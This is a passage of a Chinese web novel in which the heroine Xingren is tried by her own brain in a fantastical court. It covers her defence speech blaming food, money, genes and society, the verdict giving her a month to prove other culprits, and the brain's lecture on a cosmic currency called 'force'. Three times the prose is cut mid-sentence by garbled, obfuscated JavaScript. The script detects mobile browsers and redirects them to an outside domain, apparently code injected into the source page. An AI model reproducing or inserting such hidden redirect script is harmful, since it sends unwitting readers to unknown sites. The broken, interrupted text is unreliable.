“那些都是有效的。” “这么长时间的庭审,也不能完全推翻,所以——” 蓝斑被眼镜掩盖的眼睛如同巨大的湖泊,他很庄重地注视着杏仁说:“被告杏仁,请你听清楚我接下来所说的话。” “我现在只能为你争取一段申辩的时间,请你直接就‘你是杀害你的大脑的凶手’这件事情做出最终的反驳,因为时间有限,所以请你务必拿出最有利的论证。” 压力再次聚集于她。 短时间高频次的压力令她额头冒汗,绿色的侧边刘海黏在额头,又被她不舒服地扒拉开。 这已经很好了。 能够争取到一段时间,能够让她做出一段论证,这已经是非常来之不易的结果了。 她能察觉到,这已经是决战了。所以无论如何,她都要打起精神,坚持完最后的论证。 可是,她究竟要从哪方面开展论证呢? 这段论述必须有力,信息量也要足够,要通过很少的语言达到很大的效果,最好能够从根部打翻脑子的整个论证,让它所做的一切成为无用功。 为了方便她做出论证,蓝斑吩咐助手将庭审的记录本拿给她看。 她快速翻过她已经听过的部分,直到翻到第三部分她完全缺席的地方才放慢翻页的速度。 她高度集中注意力,一行一行地浏览——不愧是筹备这场审判良久的脑子,每一条论证都堪称无懈可击,人证、物证、论述都是充足的,甚至充足到快溢出来了…… 这么短的时间,她不能从论证的细节上面与脑子争锋。 那应该从那里入手才足够有力呢? 生物钟赶时间一般快速地摆动着,底下的证人们焦躁地躁动着。 杏仁尽力保持冷静,汗水从额头滴落,也顾不上擦拭。 她很快翻阅完整个记录,又再次返回第一页,目光重新落到了最大的标题——【杏仁屠脑案】 她的脑海中忽然回旋着刚刚蓝斑说的那一段话:“你的大脑控告你是杀害它的凶手。” 她是……杀害大脑的凶手。 她…… 杏仁灵光一闪,那么她只要证明,她不是杀害大脑的凶手——这话听起来好像是一个废话,但是……若是凶手另有其人,或者这干脆就是一场多凶手案件…… 那么她的罪责是否就可以降到最低呢? 这个论证并不难,甚至她之前气得醒来时所说的就可以拿来直接使用,只是当时时间比较紧急,她的情绪又在气头上,所以论述的不够完整。 那现在…… 好吧,也没有别的办法了,只能硬着头皮上了,只能冒点险了。 杏仁下定决心,一把放下那本庭审记录。 “被告杏仁,你阅读完毕了吗?”守在旁边的助手迫不及待地将庭审记录收回。 随着助手返回蓝斑身边,证人们议论纷纷的声音也逐渐放缓,眼神再次齐刷刷聚焦于杏仁。 这场持续很久的审判,终于要有结论了吗? “杏仁,你要开始你的论述了吗?”蓝斑再一次摆正身体,换上审判长冷静稳重的腔调。 “是的。” 杏仁一本正经,藻绿色的眼睛中散发着令人信服的光芒。 她身体微微前倾,长长地叹了口气,故作无奈地说:“审判长大人,我不得不说,这个世界上伤脑的东西实在太多了。” “它们全都谋划着杀害我的脑子,当然我不是推卸责任,但【屠脑】这份责任我实在不能完全担负。” 在审判长还没有说话时,脑子就率先拍桌子,起立指着她道:“你就是想推卸责任!” 不然呢? “当然没有。” “脑子朋友实在误会我了。” 杏仁摆摆手,故作无辜:“关于我的责任,我当然责无旁贷。但不该我承担的我也一定不能承担。如果我就这样草草认下所有的罪行,这不是包庇了真正行凶的人,让真凶白白逃脱?” “如果是那样,不是要使公平正义的《所有法》蒙羞。对惨遭毒手的脑子也太不公平。” 见杏仁一幅大义凛然的模样,审判长终于清楚—— 今天这场审判没那么容易结束了。 他认命般叹息:“所以被告你是认为真凶另有其人?” “那当然!” “既然你认为真凶另有其人,那你认为是谁?” “太多了,我简直数不完。”杏仁伸手擦了擦不存在的泪水。 “首先,我吃的食物都是伤害我的脑子的食品,这就得责怪食品供应商,他们完全忽视食品的安全,才导致我吃下了不健康的食物。” “我没有钱买健康的食物,这又要责怪【钱】还有【健康】,都怪【钱】总是那么稀少,不能让我足够使用,还要责怪【健康】,因为它如此昂贵,竟然是我这样已经很努力的社畜也不能够担负的奢侈品。” 说到这里杏仁都有点心虚,但她觉得那个叫做【内耗】的东西都可以成为【赞助商】,那么其他词语也可以当做【罪犯】来推卸责任吧。 “然后我晚上睡不着觉,这事得怪我的工作、领导,以及……【社会风潮】。” 杏仁又偷瞄了一眼审判长,看它一脸凝重的模样,她又硬着头皮继续说道:“审判长大人,不知道您是否了解我所处的世界与时代,我必须向您申明,在我们这里,熬夜可是一个人人都在做的流行事,是都市丽人必备的时尚单品——不熬夜都无法证明你是一个都市人。” “有时候,就算我不愿意熬夜,我隔壁的其他‘都市人们’也要彻夜狂欢,令我无法入眠。” “我要责怪我脑内的噪音,原告脑子,我真的没有责怪你的意思,但它真的太吵了,没有人能够在和它共处的情况下保持冷静。” 脑子:……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794199|158282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我还得责怪灯光,街上的那些霓虹灯,每天散发着光污染,您听说过污染吗?那都是坏东西,它一定也是破坏我大脑的元凶。” “还有我的基因,虽然有些不合适,但这事真的得怪它,”杏仁一身正气,“您想一想,这个世界上有很多人都面临着和我一样的境遇,可是其他人的大脑怎么没有堵塞出血呢?” “那实在是我的基因不好,才让我的大脑生的如此脆弱。” “虽然很不好,但基因这事真就得怪我的父母,他们选择了彼此……” “还得责怪随机性,缠绕在一起的恰好是他们基因中劣质的那一部分。” “还得责怪社会和政府……责怪不公平的公民等级制度……” “责怪家门口整夜嚎叫的野狗……” 杏仁越说越起劲,最后已经能够全然抛弃心虚,完全放飞自我。 甚至说得太真切,令自己都有些伤心。 “……” 助手在旁边疯狂地记录。 蓝斑在那边止不住地叹气。 脑子则双手环抱,一幅防御不信任的模样。 当杏仁说到第五十九个“可能犯案的真凶时”,蓝斑终于忍不住了:“那个杏仁……” “我还要怪……” “杏仁!”他没能控制住自己,声音大了些。 他早该想到的,脑子都这样,主人能是什么……好东西吗? 听到审判长的呼喊,杏仁一瞬间闭嘴。 蓝斑深呼吸几下,释放了些压力:“杏仁,我已经完全理解了你的意思,你不必再说了。” “所以你的观点就是,杀害脑子的凶手另有其人,最起码不是你一个,对吧?” “是的,审判长大人。” 得到确切地答案,他疲惫的揉揉头,叹息:“要把你所说的人全部都调查一遍,控告一遍,这可是个大工程。” 虽然如此,他也得强打精神,他又一次看向脑子,它的颜色已经逐步恢复成和墙壁差不多的粉红色,看起来比之前好说话很多,但他也没有掉以轻心:“原告大脑,对于杏仁提出的新主张,你有什么想法?” “我认为杏仁是在推卸责任,”脑子说,“就算我退一步,认可杏仁不负杀害我的全部责任,但她起码也是主谋。” “原因呢?” “原因就是,我只认识杏仁一个人,只有她能够直接的作用于我,她刚刚说的那四十、五十、还是六十多个人我根本不认识。” “你不认识不代表不存在,”杏仁一幅痛心疾首、嫉恶如仇的模样,“就像你之前跟我所说的一样,我们的世界只是一个很小的世界,世界上还有更多更高级的世界,都是我无法认识的。” “那么这个道理对你也应当成立。” “审判长大人,请让我打一个很简单的比方,假设脑子是鱼缸里的一条鱼,而我则就是自动喂食的鱼缸,鱼缸每天都会往水里丢入鱼食,可是有一天,鱼缸储存的食物耗尽了,于是也就没有办法喂鱼。” “于是鱼被饿死了,它就一直怀恨在心,认为是鱼缸害死了它。” “但是,这件事情究竟是应该责怪鱼缸,还是忘记给鱼缸添加食物的人呢?” “相信英明的您和公正的《所有法》心中自有论断。” 12. 裁决 “好了好了,”蓝斑很无奈,“你说得……也不无道理。” 他实在是头痛,用鼻子在脑袋旁边左右交替地揉捏着太阳穴。 过了半晌,他说:“这样吧,我将你的证词也先提交给《所有法》,看它怎样裁决。” 于是杏仁就看见他卷起鼻子拿起那本放置在桌子上的奇怪大书。 而当他翻开大书的时候,表情非常庄严,她身后所有的证人都站起来了。 房间里满是椅子腿在地上稀稀拉拉地划拉的摩擦声。 她往旁边瞥去,见到脑子也一脸严肃地起立,于是她也赶忙站起来。 书将蓝斑的脸挡上,挡住了他操作的手法。 杏仁只看见他好像用鼻子尖端在《所有法》翻开的页面上随意划拉了一下。 紧接着那本书立刻反馈了一道光,透过蓝斑的眼镜,映入它的眼睛里面了。 “我明白了。” 就好像得到了什么答案,蓝斑点了点头,又将书本合上郑重地放回桌面。 书刚刚合上,就听见背后传来一阵椅子拖动的声音,大家又很有默契地同时坐下了。 杏仁:“……” 而审判台正中央,脑子依旧站着,杏仁也没有坐下。 很显然蓝斑心中已经有了决断,他面对杏仁与脑子两人郑重宣布:“《所有法》在一定程度上认可杏仁所说的话。它给出了两个方案。” 蓝斑丝毫没有卖关子的习惯,直接说:“第一个就是杏仁你直接认罪伏法,《所有法》根据你所说的一切酌情从轻对你进行处置,判处你30年植物人刑罚。” 杏仁:…… 30年,她都未必能活过3个月。 “那第二个呢?”她深吸一口气,尽力整理心情询问。 蓝斑停顿了一下,黑色的眼镜反射出凌冽的光,对方盯着她,语气意味深长:“第二个方案就有些麻烦了。” “既然杏仁你提出:杀害大脑的凶手另有其人,那么《所有法》也很宽仁地给你证明的机会。” “你提出的,所以你举证。” “我们将再次开庭,时间就定在一个月后,请你在这一个月不断地搜集证据,不断地开展审判庭,控告你认为的凶手。” “一个月?” “还有问题吗?”蓝斑眯起眼睛,“一个月已经是很宽仁的时间了。” “没有没有。”杏仁立马否认,“只是,我都不一定能活过一个月……” 她满怀期待:“《所有法》能保证我能活过一个月吗?” “不能。”蓝斑斩钉截铁,“这不在审判庭的权责内。” “那我如果不到一个月就去世了怎么办?” “那是你自己的事情。” “那审判庭不就无法开办了吗?” “那正好结案。” 杏仁知道这件事已经丝毫没有讨价还价的余地了,便压下心中的失望,很识趣地闭上嘴巴。 蓝斑继续嘱咐道:“一个月之后审判庭的开办需要重新缴费,这件事情也需要你提前筹办。” 杏仁一惊:“等!等等,缴费?” “是的,你可以自己凑齐,也可以找个赞助商什么的,比如这场审判的赞助商就是【内耗】,”蓝斑还是给了个建议,“建议最好找个赞助商,毕竟一场审判的价格对你这样的人来说也堪称昂贵。” “可我去哪里凑费用?又去哪里拉赞助?” “这是你自己的事情。” 蓝斑环视一周:“各位证人,大家还有异议吗?” “没有了。”稀稀拉拉地齐声。 他斜着看了一眼脑子。 脑子没有说话,却只是抱臂摇头。 “那个……我还有……”杏仁微弱地举手,却被蓝斑洪厚地声音淹没。 “那么,全体起立。” 她的抗议声更是被不整齐的椅子拖动声淹没。 “今天我们来到这里,见证了一起特殊的案件——一颗脑子控告它的主人。” “一场从未有过的案件,更是一场前所未有的发声。” “这更是《所有法》公平正义的体现。在这里,天生不平等的人与物之间的鸿沟被抹平。这里让世界上的所有人、所有物,都有平等对话的权力。再次感谢大家的出席,现在——” “我宣布,退庭。” 法槌敲响,众人鱼贯而出。 蓝斑吩咐助手将他的眼镜取下来收好,看得出他很迫不及待离开这个地方。 各位证人一边聊天一边议论“椅子太硬硌屁股”“位置太挤、有人出汗太臭”“房间太粉看久了有点晕”“但是庭审还是挺有意思的”之类的话。 …… 大家好像都知道自己要做些什么,好像都有自己的事情要干。 只余下杏仁瞠目结舌。 就这么结束了?接下来怎么做? 她还在呆滞之中。刚还站在对面桌子上的脑子却瞬间跳下来、冲过来、伸手打了一下她的小腿:“发什么呆?快拦住它们,确保它们把胳膊腿都还回来。” 杏仁还没理解它在说什么。 它又打了她一下,痛得她抽了口气,不知道它渺小的身躯怎么有那么大的力气。 脑子语速飞快:“刚刚我实在没有控制住自己,在审判庭上说了【内耗】的坏话。我刚刚收到了它的信息,它明确表示不会再赞助一个月之后的审判了。” “这样的话,我们的钱就更宝贵了。那些卡通器官我们是要重复使用的,你让它们都带走了,我们可没有钱买新的。” 杏仁眨巴眨巴眼,像一只呆鹅呆滞地站立。 她尚且没有反应过来,却只见脑子已经拦上去,它用自己的小胳膊腿拦住【高清相机】:“非常感谢你为我们做的一切,但这些器官我们要收回。” 【高清相机】本来都打算开门走了,现在却只能不情不愿地将身体器官卸下来了。 她看见脑子不知道从那里找了个推车,将相机推着扔出了门,然后又回来拦住别人。 她终于恍然大悟,也顾不上在旁边看了,也立马跑动起来,学习大脑的样子拦住要偷偷带走器官的家伙们:“抱歉,这些东西是不能带走的。” 那人正快速遁走,被她拦住,抬头白了她一眼:“抠门!”但还是将器官还给她了。 就这样跑动了很久很久,终于送走了最后一个客人。 “十一、十二、十三。”脑子踩着小板凳,扒在筐子上点着数,“好了,别看了,快把你私自拿的那一副器官还回来。” 于是杏仁便去将刚刚作为证物的那一套卡通器官拿回来,她返回审判台,却发现蓝色的大象并没有消失,只是黑色的眼镜已经被卸下消失不见,他一动不动地如同陷入沉睡。 确实,这么巨大的身躯,也不太好离开吧。 她伸手在蓝斑眼前晃动两下,对方却毫无反应。 她又大着胆子将手贴到蓝斑身上,他的身体已经回归了滑梯的状态与质感。 当手刚刚触碰他的身体,一股强烈地震动感便从他的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794200|158282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体里,顺着手心传播到杏仁胳膊上,震得她手发麻—— 这是蓝斑的心跳吗? 杏仁没有再观察他,她背过身,收拾散落在桌面的零碎卡通器官,却看见在桌子中央,《所有法》还放在上面。 奇怪的书页里焕发着奇异地光芒。 她没忍住,将零散的卡通器官随意地夹在臂膀之下,然后将书捧在手上端详。 这本书很是奇怪,是某种她不认识的东西的组织体,书的封皮很厚重,看起来某种金属的材质,可是捧起来却很轻,触摸上去仍旧是纸张的感觉。 封面上写着《所有法》三个大字,下面用稍微小一号的字体写着“审判庭的最高准则是公平正义。” 杏仁又翻到背面,书底则是空空的,很有留白美,什么都没有写。 她又看向侧面,书脊的位置则很奇怪,上面插着几排闪烁着蓝光的长方块,好像是U盘一样的东西。 “诶?” 察觉什么异常,杏仁又凑近仔细看:U盘上又密密麻麻插着晶体芯片一样很薄很薄的东西,光束则在芯片中间跳跃传导——那是U盘散发蓝光的元凶。 好像芯片上还插着什么针状的更细小的五光十色的东西,杏仁已经看不清了。 她没有再强求,只是随意翻开一页书,想要看看《所有法》里面和她相关的条目。 “【maple星球负责人】控告【maple星球枫叶】不够红,以至于游客大量丧失,旅游业是maple星球经济主要来源,旅游业遭受重创,以至于底层居民失去工作,一季返贫居民数万人,因返贫而至死居民数千人。】 “判处结果:判【maple星球枫叶】连续10年枫叶红度增加20%。” “同时建议:maple星球要多方面发展经济。” 杏仁看完后,想要再换一页,但没拿稳,纸张跳动了一下又翻回了这页。 “【甜滋滋蛋糕店桃酥】控告【甜滋滋蛋糕店千层蛋糕】甜度过高,以至于【桃酥】售卖率下降,耗损率升高,浪费粮食,不光如此,【千层蛋糕】过高的甜度损坏居民健康,长期发展下去,不利于【甜滋滋蛋糕店】可持续发展。” “判处结果:判【千层蛋糕】连续7天降低10%甜度。” “同时建议:桃酥多考虑自己的原因。” !!! 杏仁都来不及对《所有法》上的内容而惊奇,光是它的构造都已经足够让她困惑:“我刚刚明明已经翻过这一页了?” 她又一次尝试,再次重复地翻开这一页,却发现,内容依旧更换了。 【某女子控告她的爱人命令她选择其他男人……】 啊,她的眼睛!这都什么和什么啊。 杏仁唰地一下合上书。 “好奇怪,明明是同一页,内容怎么却不一样?” “那是量子技术的书页。”身后幽幽传来一个声音。 吓得她手一松,随意夹到胳膊下面的零碎器官散落一地,幸亏她反应及时,一把捞住《所有法》,免去它掉到地上的命运。 “哎呀!你小心一点!别把《所有法》摔了!”脑子抱臂,用死亡视线注视着她,直到她将《所有法》小心放回桌面才算完。 脑子俯身一边捡起来地上散落的东西,一边在旁边嘟囔她:“真是的,让你拿个东西都那么慢腾腾的?” “十四。”它将那些东西收到筐里,“再加上我身上的这一套,一共十五。” “够了,一套都没有少。”它松了一口气。 13. 脑格 杏仁端起装满十四套卡通器官的筐子,在迈着小短腿的脑子的指派下,再次将筐子放回螺旋状的楼梯口。 “对。就放到那里。”脑子一边理所应当地指挥她,一边在旁边不满地抱怨,“我说你这家伙,在审判庭上竟敢那么巧舌如簧,将黑的都能说成白……” 线条卡通嘴一张一合,但那些话只是如水一样从杏仁脑袋中流过,她没有在听了。 她心里乱糟糟的——这里的一切都太过奇怪了。 完全超越她以往的认知。 关于审判庭、关于《所有法》,关于接下来她应该何去何从。 她该怎么办。 什么时候她才可以离开这个粉红的房间? 什么时候可以从病床上醒来? ……刚刚在审判庭上,她得知了她的死讯。 但她还要再挣扎一下的吧。 那个叫做【平行时空】的奇怪证人说:50%的世界里,她将因为一周之后无法交上医药费而死去。 而30%的世界里,她将在一个月后忽然停止呼吸。 一个月后—— 那是指的她输掉了最终的那场审判吗? 如果想要活下来…… 杏仁垂眸,视线落在还在手舞足蹈,喋喋不休地脑子身上。——对方平时只能一动不动躺在头盖骨里,可能因为第一次拥有属于自己的四肢,正尽情挥洒自己好动的本性。 如果想要活下来—— 那就实在有太多事情需要她去做了。 最重要的肯定是抓紧时间赚钱。 她的工作马上就要没有了。 公司象征性发放的基础性工资简直少的可怜,根本无法负担足够她活下来的费用。 审判庭需要钱,房租也还得交,机器猫的电池还没有买。 如果她一直躺在急救室,昂贵的医药费更是会不断地累加。 话又说回来,也不知道哪个好心人将她送到了医院,医院也不是做慈善的,对方或许还帮她垫付了医药费? 虽然很不好意思,但医药费她还得暂时先欠着。 嗯—— 当然如果可以的话,希望对方能够将一周之后的医药费也一起垫上。 杏仁低低地在嗓子眼里发笑。 她保证,欠得钱她一定打三份工还上——只要她还活着的话。 当然如果死掉了就没办法了…… 嗓子眼又闷闷地发笑。 “喂喂!” 感到被忽视,脑子不满地大喊大叫。 它的身体开始变得黯淡,好像在积攒某种怒气条,然后终于暗到某一瞬间停止,紧接着就宛若火山喷发一样跳起来。 脑子个头虽小,弹跳力却十足,一下子蹦到她身上踩着她的肩膀,去揪她的眼皮。 “喂!” 它扒拉着她的眼睛,冲着她的眼睛大喊:“你!到!底!有!没!有!在!听!我!讲!话!” “你干嘛!” 突如其来地袭击将杏仁置入一片黑暗,吹进眼睛的气体激得她的眼泪一下子冒出来。 她手忙脚乱站不稳,踉跄着后退几步,然后一下子摔倒在地,幸好地板很柔软,她并没有摔伤。 脑子并没有善罢甘休,依旧扒在她的脸上,揪红她的脸颊,掰她的牙齿,拽她的头发。 “啊!你这家伙!很痛诶!” 两个人就这样在柔软的粉红地板上进行角力赛。 杏仁虽然块头大力量大,还有原装的手脚,但却不够敏捷。 脑子虽然个头小,也只能用卡通的手脚,但它力量却完全违背它的体型,丝毫不小。更别提它身躯光滑如同泥鳅,而且道德感不高,老爱搞偷袭。 “你这家伙!怎么回事!”杏仁气喘吁吁,脸都憋红了。 “泥鳅”被她抓住,又从她手下逃脱,杏仁想要挣脱对方,又不敢用力气害怕伤害到对方。 ——毕竟,对方是她的大脑,伤害对方就是伤害她自己。 就这样来回往复了好几次,等到脑子的力气几乎耗尽了,她才抓住了那个滑腻的家伙。 脑子被她两只手举到远处,它身体黑了很多,被抓住也不认怂,依旧瞪个大眼死盯着她。 “哇啊啊啊!” 它甚至还嫌刚才没打过瘾,被抓住还要扑棱着双手想要打杏仁——幸好杏仁的胳膊够长,才没让它得手。 “你把我告上审判庭还不够!还要动手打我!” “是你先不听我讲话的!” “我听得还少吗!你平常在我头盖骨里讲得还不够多吗!” “不够!就不够!” “你!”杏仁被气笑了,她才不要再跟这个脑子说话了,审判也结束了,她也该回去了,回去看看有没有什么办法赚点钱。 “算了。”她将脑子扔到一边,“跟你这家伙说这么多有什么用呢。你只是一个躺在头盖骨里面养尊处优的小脑子,根本不懂人类风吹日晒的痛苦。” “是吗?”脑子也不拦着她,抱臂站在那里看着她,“我这个养尊处优的小脑子马上要拜你所赐成为埋在地底下的灰烬了。” “呵呵。”杏仁冷笑,“你想得到美。” “我可买不起墓地。”手触碰到最靠近的门把手,杏仁回头,绿色的发丝趁机藏入黑色的皮夹克,“在落日城居住的都是一些地位低下的四五等居民,各种科技都很不发达,唯独处理尸体的技术是个例外。环保还不留痕迹。” “你想在地下住单间还没得住呢——到时候处理的产物说不定和其他人的混在一起,”杏仁笑话道,“你就可以认识新的脑朋友了。” 说着,她就要开门。 拧了两下门把手,没拧开。 “诶?”她两只手都握上去,又用力拧了两下。 墙壁很柔软,可这个把手好像被焊死,坚硬极了。 门还是没开。 “你做了什么?”她急得跳脚。 脑子不说话,只是嘲笑地看着她的动作,它身体的颜色又慢慢变淡了,看得出心情在逐步变好。 杏仁连忙又一个一个去尝试旁边的门,接连尝试了好几个,依旧拽不开。 “我做了什么。”脑子复述了一遍她的话,它慢慢走上前:“拜托你能不能有点常识,你是脑溢血,出去能干什么,跟尸体一样躺在床上吗?” “你不会觉得你在这里意识清醒,就觉得出去以后也能清醒吧。” “你平常就这么蠢吗?怪不得把生活过成这个样子。” 好像一盆凉水泼到杏仁身上,她的身体一颤。 如果无法从现实生活中醒来,无法在现实生活中活动。 也就意味着她丧失了所有拯救自己的能动性,完全成为了一只毫无反抗能力的待宰羔羊。 她的内心已骤然沮丧跌落谷底,但嘴上依旧不求饶,“我这么蠢不也是拜你所赐。如果换一个人做我的脑子,我会聪明很多呢。” “你!”脑子的身体瞬间变得焦黑,任是刚刚和杏仁打架都没有这么黑,“你竟敢怀疑我的工作能力?” “我告诉你,无论我当任何一个人的脑子,那个人都会比你更聪明。你知道这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14794201|158282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为什么吗?” “这是因为你,不是因为我。”脑子瞪了她一眼:“这是因为你有问题。” 她有问题。 这四个字狠狠插入杏仁的内心。 心中一阵刺痛。 这样的话她已经听过无数次。 很多人都这样说她,说她不像一个正常人,如果是别人处理这样的事情,一定能处理的成熟又完美。 可轮到她身上,事情总是往不受控的方向前行。 她尽力去做了,但还是无法融入。 她的想法总是与众不同,做法也与众不同。 这种不同总是很不方便。她赚不到钱,她现在依旧只是一个普通的五等公民,丧失了很多权力,并且现在这种不同现在还好像要害死她了。 一股疲惫感爬上她的身体,偷走了她的力气。 她背过身去,长叹了一口气,任由身体背靠着门往下滑。 就和无数次的夜晚一样,她坐在地板上环抱着双腿,眼中全是迷茫。 周围很安静。 不得不说,虽然脑子那家伙很可恶,但它的身体里面也真的该死的暖和。 粉红的墙壁好像散发着热量,墙壁外透进来的粉光虽然怪异,但也实在很温馨。 比昏暗潮湿的侦探社那冰冷坚硬的水泥地要好受很多。 “那个……”过了很久很久,久到脑子的身体颜色已经变回了粉红,它才用卡通手指捣了捣杏仁的胳膊,“抱歉啊,我不是那个意思……” 杏仁冷冷地看着它,没有搭理它。 “我总是控制不住情绪乱说话。”它的卡通眼珠如同慌张的鱼随意游移。 “大脑专家拿过脑子性格测试给我做。我是典型的‘杏仁核’特质大脑,我们这类性格的脑子就是这样的——感性、即时反应、情绪丰富、情绪来得快去得也快。” “和那些‘前额叶’特质大脑不同——那些大脑理性、想得长远、懂得控住情绪、还会做规划。” “那个……”脑子左右手手指合并捣捣,它扭扭捏捏,“别生气了。” 这个时候脑子的态度倒是软和了,杏仁真的很困惑不解,这颗脑子究竟是怎么想的呢。 她扭回头,眼眶已经微红:“你既然觉得我那么差劲,既然那么恨我,甚至把我告上审判庭,一定要置我于死地。那你还来道歉干什么?总之我也活不了多久了,我死之后,你正好去当那些你看得上的人的脑子呗。” “……” 脑子走到她的身旁坐下:“其实脑子的就业市场也没那么好混啦。” “更何况就业市场普遍不喜欢‘杏仁核’特质的大脑,而更崇尚‘前额叶’特质的大脑。” “再加上,我已经不是应届大脑了……”脑子的情绪转化的很快,说到这里就又有些哀怨了,“拜你所赐,我即将成为一个即将死过一回的二手大脑,即使把我的意识拿去刷机,也总没有崭新的应届大脑好使。” “……至于将你告上审判庭,只是因为我正好有这个机会,而且当时很生气嘛!——我可是杏仁核特质的大脑,向来对情绪就是即时反应的。” “更何况就算我不告,你也是要死去的,你是脑溢血诶。” 杏仁没有说话,空气中只有淡淡的呼吸声。 又过了很久,脑子的声音很浅淡:“但……我其实没有真的想要你死。” “成为脑子是很不容易的,我可不想失业后找不到工作,只能转行去当肝脏、胰腺、脾胃之类的笨蛋器官。” “所以你现在需要一些有关审判庭的知识吗?” 14. 货币 “你是在求和吗?”杏仁愣愣地望着脑子,冷不丁冒出这一句话。 “我是在赐予你赎罪的机会。”脑子站起来,它的语气回归如常,“我还是没有原谅你对我所做的一切。但……为了我们共同利益,我还是愿意暂时向哪些‘前额叶’性格的脑子学一学。” 杏仁若有所思:“可是你的语气听起来就像你在向我求和?” 脑子:“那是因为我有宽大的胸襟,能够用合适的语气来照顾你的自尊心。” “……可是除了语气,就连语意都听起来好像你在说你之前做错了。” “你不要得寸进尺!”脑子忍无可忍,眼看着身体就要变黑。 杏仁忙举起双手做出投降状:“好吧,谢谢你的恩赐。” 脑子满意了,身体又开始逐渐粉红。 杏仁揉揉眼眶,拍拍裤子,扶着门站起身来。她不想要再焦虑自己将来该怎么办,也不想要去再抱怨当下的处境——虽然她真的很擅长于此。 她现在时间宝贵,精力又十分有限,她只能归拢她仅剩的精力,将它们都集中在解决问题上面。 她说:“如果我们要合作,那第一步应该是想办法让我先从病床上起来。” “那是不可能的。”脑子想都没想就直接否定,“重症病房患者一夜之间恢复行走?那只有奇迹才能做到,你看我长得像奇迹吗?” 杏仁:“……” 脑子忽话音一转:“话又说回来,你又为什么一定要醒过来?” 这不是显而易见吗? “因为重症病房太贵了,我不能一直躺在那,而且我需要挣钱。” 脑子看起来更困惑了:“再多给我点线索。” 杏仁不得不继续解释:“医药费需要钱,审判庭需要钱,还有其他的事情也得我醒来才能……” 她的话没说完就被脑子打断:“你这家伙难道认为可以审判世界上任何东西的审判庭,收缴的货币是你们交易所用的【钱】吗?” 杏仁一愣,还没来得及给出反应就听脑嗤笑一声:“看来我真的得给你这家伙上一堂课了。” 脑子从垃圾山里掏出了一张小黑板,它站在板凳上,将黑板随意挂在墙上,用不知道从哪里找到的半根烂粉笔,在上面写写画画。 “这里是《所有法》旗下足够审判世界上存在的所有事物的审判庭,那么交易所用的货币就应该是世界上所有东西都能够认可,使用的货币才对。” “它是宇宙的通用货币,因为它所处的维度太高了。所以你本来无法理解它的姓名,也听不懂它名字的发言,但好在你足够幸运,有我这个前人探索过,我在研究该如何开展审判庭时,翻遍了你们的词典,找到了一个你所能理解范围内的最合适的名字,那就是——【力】。” “力?”杏仁疑问,“最基本的货币?所有人都认可的货币?所有人都使用的货币?叫做力?” 杏仁每说一个问句,脑子就点一下头。 杏仁还是半信半疑:“你这家伙不会是在耍我吧。骗了我,一个月之后的审判庭你就可以不战而胜了。” 脑子翻了个白眼:“你爱信不信。” “既然你说这个叫做【力】的货币是宇宙的基本货币,是所有人都需要都使用的货币,那我为什么从来没有用过,甚至从来都没有听过?”杏仁又问。 “你当然用过,”脑子站在高板凳上向下看,“只是你用的不是它本身,而是它众多低级的投影。” “低级的投影?” “你还记得力的含义吗?”脑子说,“改变物体的运动状态,或者使它们发生形变。” 看杏仁还是一脸困惑,脑子来了精神,它从高凳子上跳下来,就好像演讲一样,话说得神神秘秘的:“世界上的所有事物都有改变自身状态的需求。换句话说,这个世界上所有的事物都想要改变自身。” “所以能够施加在它们身上,让它们改变自身状态的【力】,便成为了通用的货币。” “只是【力】所处的维度太高了,而你只是一个低维的、两条腿走路的人类。所以你无法理解它。” “但假如将力看作天上高高在上的光,而将你们看作站在地面上的观测者,那当你们低下头时,一定看见过力透过你们朝地面上映射的影子。” “天上的光因为太过复杂,使得地面上的投影也重重叠叠,多种多样。” “但是你一定使用过那些影子。” “比如说:爱。” “爱?” “如果你爱一个人,对方也感觉到了你的爱意。你们一定都会因为这种爱意有所改变。” “那么这时,爱就是【力】的一种投影。” “同理,比如欣赏,比如赞许,比如同意,比如宽容,比如理解,又比如拒绝、厌恶与憎恨,力是各种方向的,各种形态的……” “这种货币就藏在你们的话语里,藏在你们的生活中,你们无时无刻不在使用着它,准确的说,是使用它的影子。” “只要你能影响他人,只要你被他人影响,只要你的状态能够改变,只要你在不停的运动。你就永远都在使用它。” 脑子说:“而在【力】众多映射在你们世界中的影子里,最低级的形式就是——钱。” “钱也理所应当可以影响他人。钱也能改变人的状态,但它改变的实在太有限。” “它不能买健康,不能买快乐,不能买幸福,更不能买命。” “不不不。”杏仁笑着摇头,“钱可以,钱真的可以。” “是吗?”脑子歪着身体反问,“现在你要死了,我也要跟着你一块儿成灰了,钱能让咱俩死而复生吗?” 杏仁:“……” “但是力可以。”脑子说,“跟我来。” 脑子一蹦一跳地带着杏仁绕着旋转的滑梯往上走去。 